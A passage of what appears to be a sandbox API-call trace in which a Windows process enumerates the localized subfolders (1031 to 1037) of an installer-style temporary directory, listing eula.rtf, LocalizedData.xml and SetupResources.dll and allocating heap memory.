ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.208] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.209] GetProcessHeap () returned 0x11a0000 [0075.209] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1031", cAlternateFileName="")) returned 1 [0075.209] GetProcessHeap () returned 0x11a0000 [0075.210] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.212] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.212] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.213] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.213] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.213] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.213] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.214] GetProcessHeap () returned 0x11a0000 [0075.214] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.214] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1032", cAlternateFileName="")) returned 1 [0075.214] GetProcessHeap () returned 0x11a0000 [0075.214] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.217] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.217] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.217] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.218] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.218] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.218] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.219] GetProcessHeap () returned 0x11a0000 [0075.219] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.219] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1033", cAlternateFileName="")) returned 1 [0075.219] GetProcessHeap () returned 0x11a0000 [0075.219] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.239] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.239] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.239] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.239] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.239] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.239] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.239] GetProcessHeap () returned 0x11a0000 [0075.239] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.240] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1035", cAlternateFileName="")) returned 1 [0075.240] GetProcessHeap () returned 0x11a0000 [0075.240] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.240] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0075.241] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.241] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.241] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.241] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.241] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.241] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0075.241] GetProcessHeap () returned 0x11a0000 [0075.241] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.242] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1036", cAlternateFileName="")) returned 1 [0075.242] GetProcessHeap () returned 0x11a0000 [0075.242] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.243] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.243] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.243] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.243] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.243] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.243] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.243] GetProcessHeap () returned 0x11a0000 [0075.243] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.244] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1037", cAlternateFileName="")) returned 1 [0075.244] GetProcessHeap () returned 0x11a0000 [0075.244] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.244] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.245] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, 